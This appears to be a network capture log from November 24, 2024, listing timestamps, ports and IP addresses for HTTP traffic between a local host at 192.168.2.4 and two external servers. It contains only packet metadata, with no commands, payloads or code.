Nov 24, 2024 12:24:28.578295946 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.578345060 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.578397989 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.578444958 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.579442978 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.579492092 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.579535007 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.579579115 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.580518007 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.580571890 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.580621958 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.580662966 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.581609964 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.581655979 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.581706047 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.581749916 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.582787037 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.582835913 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.582891941 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.582937002 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.583852053 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.583899021 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.583982944 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.584028959 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.584958076 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.585025072 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.585068941 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.585113049 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.586049080 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.586097002 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.586178064 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.586220026 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.615906954 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.653249025 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.653297901 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.653451920 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.653568983 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.653691053 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.653810978 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.653834105 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.654527903 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.654661894 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.654716969 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.655349016 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.655467033 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.655520916 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.656191111 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.656234980 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.656339884 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.657037973 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.657087088 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.657088041 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.657869101 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.657922029 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.721776009 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.721824884 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.721867085 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.721877098 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.721889973 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.721910000 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.722119093 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.722172022 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.722965002 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.723011971 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.723064899 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.723105907 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.724081039 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.724128008 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.724257946 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.724307060 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.724850893 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.724900961 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.724981070 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.725027084 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.725960016 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.726008892 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.726084948 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.726130009 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.727071047 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.727117062 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.727215052 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.727267981 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.728193045 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.728240967 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.728283882 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.728327990 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.729316950 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.729362965 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.729412079 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.729453087 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.730396986 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.730442047 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.730494022 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.730537891 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.731486082 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.731532097 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.731595039 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.731640100 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.732403040 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.732570887 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.732610941 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.732642889 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.732657909 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.732707024 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.732846022 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.732917070 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.732963085 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.733006954 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.733043909 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.733706951 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.733752012 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.733794928 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.733813047 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.733829021 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.733839035 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.733859062 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.734638929 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.734797001 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.734852076 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.734858036 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.734874010 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.734910965 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.735572100 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.735625982 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.735671997 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.735949039 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.735995054 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.736011028 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.736054897 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.736299992 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.736351013 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.736392021 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.737036943 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.737132072 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.737149000 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.737178087 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.737200975 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.737270117 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.738006115 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.738054991 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.738095999 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.738198042 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.738214970 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.738259077 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.738838911 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.738914967 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.738960981 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.739250898 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.739296913 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.739465952 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.739660978 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.739712000 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.739713907 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.739747047 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.740338087 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.740389109 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.740487099 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.740508080 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.740524054 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.740531921 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.740556002 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.741307020 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.741353989 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.741506100 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.741708994 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.741724968 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.741753101 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.741766930 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.742151022 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.742207050 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.742208958 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.742554903 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.742645025 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.742712021 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.742971897 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.743098021 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.743143082 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.743705988 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.743735075 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.743752956 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.743778944 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.743870020 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.743886948 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.743915081 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.744638920 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.744693995 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.744781017 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.744797945 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.744842052 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.744914055 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.745495081 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.745543003 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.745543957 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.745589018 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.745841980 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.745889902 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.745917082 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.745956898 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.746417046 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.746467113 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.746612072 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.746968985 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.747076035 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.747122049 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.747220039 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.747237921 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.747282982 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.747977018 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.748022079 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.748071909 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.748089075 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.748131037 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.748177052 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.748807907 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.748848915 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.748872042 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.748898029 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.749150991 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.749208927 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.749278069 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.749655008 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.749699116 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.749718904 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.749723911 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.750299931 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.750358105 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.750360966 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.750420094 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.750538111 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.750555038 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.750587940 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.751300097 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.751357079 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.751370907 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.751388073 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.751404047 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.751430035 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.751451015 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.752142906 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.752335072 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.752381086 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.752516031 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.752563000 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.752629995 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.752686977 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.752944946 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.753043890 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.753114939 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.753592014 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.753685951 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.753731966 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.753814936 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.753830910 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.753875971 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.754614115 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.754714012 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.754761934 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.754761934 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.754796982 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.754805088 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.754976988 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.755449057 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.755498886 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.755516052 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.755845070 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.755916119 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.755961895 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.756386042 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.756477118 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.756520033 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.756886005 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.756931067 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.757002115 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.757138014 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.757153034 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.757189989 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.757190943 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.757944107 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.758013964 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.758029938 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.758063078 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.758093119 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.758116961 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.758447886 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.758794069 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.758843899 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.758883953 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.759088039 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.759242058 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.759299040 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.759629011 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.759721994 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.759769917 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.760212898 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.760257959 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.760289907 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.760525942 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.760543108 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.760576963 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.760576963 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.761301994 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.761353970 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.761380911 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.761404991 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.761471033 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.761513948 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.762123108 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.762263060 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.762304068 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.762476921 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.762612104 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.762654066 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.762960911 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.763044119 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.763048887 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.763572931 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.763619900 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.763703108 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.763751030 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.763864994 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.763881922 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.763916016 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.764679909 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.764764071 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.764780998 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.764825106 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.764848948 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.764911890 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.765515089 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.765567064 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.765568018 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.765625000 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.765799999 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.765855074 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.765897989 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.765944004 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.766372919 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.766390085 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.766438961 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.766891003 CET	80	49793	31.41.244.11	192.168.2.4
